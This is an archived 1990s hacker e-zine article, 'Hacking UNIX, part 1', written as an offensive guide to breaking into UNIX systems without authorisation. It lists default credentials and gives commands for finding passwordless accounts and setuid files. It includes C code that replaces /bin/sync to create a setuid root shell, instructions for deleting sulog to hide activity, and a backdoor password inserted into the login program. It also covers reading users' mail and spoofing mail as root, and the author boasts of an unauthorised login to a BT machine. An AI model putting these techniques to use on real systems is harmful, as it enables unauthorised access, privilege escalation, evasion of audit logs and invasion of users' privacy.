Copy Link
Add to Bookmark
Report

H-Net Magazine Vol 1 Issue 1 File 04

eZine's profile picture
Published in 
H Net Magazine
 · 26 Apr 2019

  

H-NET H-NET H-NET H-NET H-NET H-NET H-NET H
N N
E ** H-Net Magazine ** E
T T
H Volume One, Issue 1, File #04 of 20 H
N N
E Hacking UNIX, part 1, by WEAZLE. E
T T
H-NET H-NET H-NET H-NET H-NET H-NET H-NET H


UNIX HACKING - PART 1.
----------------------

You've got the 'login:' prompt - what now?

try the following id's and passwords:-

ID Password
-------- --------
root root
sysman sysman
admin admin
sysadmin sysadmin (or admin)
unix unix
uucp uucp (or comms)
rje rje
guest guest
demo demo
daemon daemon
sysbin sysbin (or bin)
bin bin
games games (or player sometimes)

Some of these id's might not even need a password - in that case you will go
striaght through to the '$' prompt when you have entered the ID!!

Some of you might be thinking that the above accounts would be the most likely
ones for any hackers to try and therefore the system manager of a UNIX system
would put a password on such accounts or at least change passwords to something
a little less obvious - well I would think that too - but it is suprising what
percentage of systems you can get into by trying out the above accounts. I
don't know why the System Managers havent done anything about these accounts,
it is probably the old British attitude of 'it will never happen to our system'
- it can and probably will! And dont think that it is only the small companies
that dont do very much about the security of there UNIX systems - I logged onto
a BT Unix computer (on a freephone/toll-free number I might add) with no id's
or passwords so I just started using some of the ones listed above - none of
the ones that I used worked - I was just about to give up when I thought that I
would try one last ID and Password before disconnecting and throwing the number
away. I didnt think for one moment that the ID that I was going to try would
work, after all it was one of British Telecoms UNIX machines - and of course
they would be really strict about security and things like that, but I will go
ahead and try it anyway... :-

login:sysman
password:sysman

$

I nearly fell off my chair when I got through on this account and to the '$'
UNIX prompt, how could British Telecoms computer security be so lax? Who cares,
I was in! - and there was no password on the SU command!!! There is a list of
default passwords in this issue and continuous updates on Hackernet BBS.


If none of these accounts let you in then try obvious things like first names
(paul,john,steve,etc.), try using the id 'who' which on some systems will at
the 'login:' prompt tell you who else is on (useful clues for hackers!) or see
if there are any clues on the logon screen eg "Welcome to British Telecoms
RACE computer"
you would try things like race,race or btr/engineer, est. ok?

When you have logged onto a UNIX system, you should always do the following:

$ who -u
$ ps -ef
$ ps -u root

This prints out who is on, who is active, what is going on and what they are
doing at the moment, everything in the background, and so on.

If you are calling the UNIX system for the first time you should enter the
following :-

$ grep :: /etc/passwd

This command will output to your screen parts of the 'passwd' userlist. The
ones that we are interested in are the ones like this :-

paul::3323:2343:race user:/usr/paul

i.e. the ones with '::' after the username (paul in this case). What this
means is that the user paul does not need a password to log on - funnily enough
it is usually such accounts that have the highest level of access!

Also do this:

$ find / -name "*log*" -print

This lists out all the files with the name 'log' in it. If you do find a
process that is logging what you do, or an odd log file, change it as soon as
you can. If you think someone may be looking at you and you don't want to
leave (Useful for school/college or university computers) then go into
something that allows shell breaks (VI for example), or use redirection to your
advantage:

$ cat < /etc/passwd

That puts 'cat' on the ps, not 'cat /etc/passwd'. If you're running a setuid
process, and don't want it to show up on a ps (Not a very nice thing to have
happen), then:

$ super_shell
# exec sh
(Runs the setuid shell (super_shell) and puts something 'over' it. You may also
want to run 'sh' again if you are nervous, because if you break out of an
exec'ed process, you die. Neat, huh?

Improving your id:

Firstly, you should issue the command

$id

The system will then tell you your uid and euid. This is useful for checking on
setuid programs to see if you have root euid privs.

Also, do this:
$ find / -perm -4000 -exec /bin/ls -lad {} ";"

Yes, this finds and does an extended list of all the files that have the setuid
bit on them, like /bin/login, /bin/passwd, and so on.

If any of them look nonstandard, play with them, you never can tell what a ^|
will do to them sometimes. Also, if any are writeable and executable, copy sh
over them, and you'll have a setuid root shell. Just be sure to copy whatever
was there back, or else your stay might not last very much longer.

What, you have the 'bin' passwd? Well, game over. You have control of the
system. Everything in the bin directory is owned by bin (with the exception of
a few things), so you can modify them at will. Since cron executes a few
programs as root every once in a while, such as /bin/sync, try this:-

main()
{
if (getuid()==0 || getuid()==0)
{
system("cp /bin/sh /tmp/sroot");
system("chmod 4777 /tmp/sroot");
}
sync();
}

...continued from previous page...

$ cc file.c
$ cp /bin/sync /tmp/sync.old
$ mv a.out /bin/sync
$ rm file.c

Now, as soon as cron runs /bin/sync, you'll have a setuid shell in /tmp/sroot.
Feel free to hide it. The 'at' & 'cron' commands l ook at the 'at' dir.
Usually /usr/spool/cron/atjobs. If you can run 'at' (check by typing 'at'),
and 'lasttimedone' is writable, then submit a blank 'at' job, edit
'lastimedone' to do what you want it to do, and move lasttimedone over your
entry (like 88.00.00.00). Then the commands you put in lasttimedone will be
ran as that file's owner. Cron: in /usr/spool/cron/cronjobs, there are a list
of people running cron jobs. Cat rot's, and see if he runs any of the
programs owned by you (Without doing a su xxx -c "xxx"). For that matter, check
all the crons. If you can take one system login, you should be able to get
the rest, in time.

The disk files.

These are rather odd. If you have read permission on the disks in the '/dev'
directory then you can read any file on the system.

All you have to do is find it in there somewhere. If the disk is writeable,
if you use /etc/fsbd, you can modify any file on the system into whatever
you want, such as by changing the permissions on '/bin/sh' to 4555. Since this
is pretty difficult to understand I won't bother with it any more.

Trivial su.

You know with su you can log into anyone elses account if you know their
passwords or if you're root. There are still a number of system 5's that have
uid 0, null passwd, rsh accounts on them. Just be sure to remove your entry in
the '/usr/adm/' directory - the log file is called 'sulog' and can be removed
with the following command if you havent mastered the UNIX editor 'VI' yet :-

$ rm /usr/adm/sulog

or sometimes:-

$ rm /usr/admin/sulog



but one command that I always use on any new system conquest is :-

$ find / -name "sulog" -print

This will find all the files called 'sulog' - as some system managers have been
known to have two sulogs running at the same time, if you delete or edit the
one in the usual directory and then they would have a backup copy in another
directory as well.

Trojan horses? On unix?

Yes, but because of the shell variable PATH, we are generally out of luck,
because it usually searches the '/bin' and '/usr/bin' directories first.

However, if the first field is a colon, files in the present directory are
searched first. Which means if you put a modfied version of 'ls' there..... If
this isn't the case, you will have to try something more blatant, like putting
it in a game. If you have a system login, you may be able to get something
done like that. See cron.

Taking over

Once you have root privs, you should read all the mail in the '/usr/mail'
directory just to be sure that nothing interesting is in there, or anyone is
passing another systems passwd about even! You may want to add another entry to
the passwd file, but that's relatively dangerous to the life of your machine.
Be sure not to have anything out of the ordinary as the entry (i.e., No uid 0).

Get a copy of the login program (if at all possible) of that same version of
unix, and modify it a bit. On system 5, here's a modification pretty common in
the routine to check correct passwds, on the line before the actual pw check
put a

if (!(strcmp(pswd,"h-net"))) return(1);

to check for your 'backdoor' password "h-net", enabling you to log on as any
valid user that isn't uid 0 (On system 5).

Other UNIX tricks

Have you ever been on a system that you couldn't get 'root' status or read the
Systems/L.sys file? Well, this is a cheap way to overcome it:-

$ uuname

will list all machines reachable by your unix, then, assuming that they aren't
direct, and that the modem is available:-

$ cu -d host.you.want

[or]

$ uucico -x99 -r1 -shost.you.want

Both will do about the same for us. This will fill your screen with lots of
trivial information, but will eventually get to the stage of printing the
telephone number to the other system.

'-d' enables the cu diagnostics, '-x99' enables the uucico highest debug, and
'-R1' says 'uucp master'. A year or two ago, almost every system had their uucp
password set to the same thing as their nuucp passwd (Thanks to the Systems
file), so it was a breeze getting in. Even nowadays, some places do it.. you
never can tell.



Uucp

Uucico and uux are limited by the Permissions file, and in most cases, that
means means you can't do anything except get & take from the uucppublic
directories. Then again, if the permission/L.cmd is blank, you should be able
to take what files you want.

Sending mail

Sometimes, the mail program checks only the shell variable LOGNAME, so change
it, export it, and you may be able to send mail as anyone. Mainly early system
five's will let you do it thus :-

$ LOGNAME="root";export LOGNAME

Printing out all the files on the system

Useful if you're interested in the filenames:-

$ find / -print >file_list&

And then do a 'grep text file_list' to find any files with 'text' in their
names. Like grep [.]c file_list, grep host file_list....

Printing out all restricted files

Useful when you have root privileges. As a normal user, do :-

$ find / -print >/dev/null&

This prints out all non-accessable directories, so become root and see what
they want to hide from you!

UNIX Humour

On a system 5, do this :-

$ cat "food in cans"

or :-

$ banner "H-Net Lives!"

Hehehe......

Password hacking -Salt

In a standard /etc/passwd file, passwords are 13 characters long. This is a 11
char encrypted passwd and a 2 char encryption modifier (salt), which is used to
change the DES (data encryption standard) algorithm in one of 4096 ways. Which
means that there is no decent way to go and reverse hack it. Yet. On normal
system 5 UNIX systems passwords are supposed to be 6-8 characters long and have
both numeric and alphabetic characters in them. Which makes a dictionary hacker
pretty worthless. However if a user keeps insisting that his password is going
to be 'h-net' usually the system will comply (Depending on version). I have yet
to try it, but having the hacker try the normal entry, and then the entry
terminated by [0-9] is said to have remarkable results, if you don't mind the
10-fold increase in time.

Written by the Weazle, (Hackers Hideout on Hackernet BBS)

===============================================================================
[Hackernet BBS,LEEDS,UK(0532)557739, 24hrs. Home of H-Net Hacking magazine]


← previous
next →
loading
sending ...
New to Neperos ? Sign Up for free
download Neperos App from Google Play
install Neperos as PWA

Let's discover also

Recent Articles

Recent Comments

Neperos cookies
This website uses cookies to store your preferences and improve the service. Cookies authorization will allow me and / or my partners to process personal data such as browsing behaviour.

By pressing OK you agree to the Terms of Service and acknowledge the Privacy Policy

By pressing REJECT you will be able to continue to use Neperos (like read articles or write comments) but some important cookies will not be set. This may affect certain features and functions of the platform.
OK
REJECT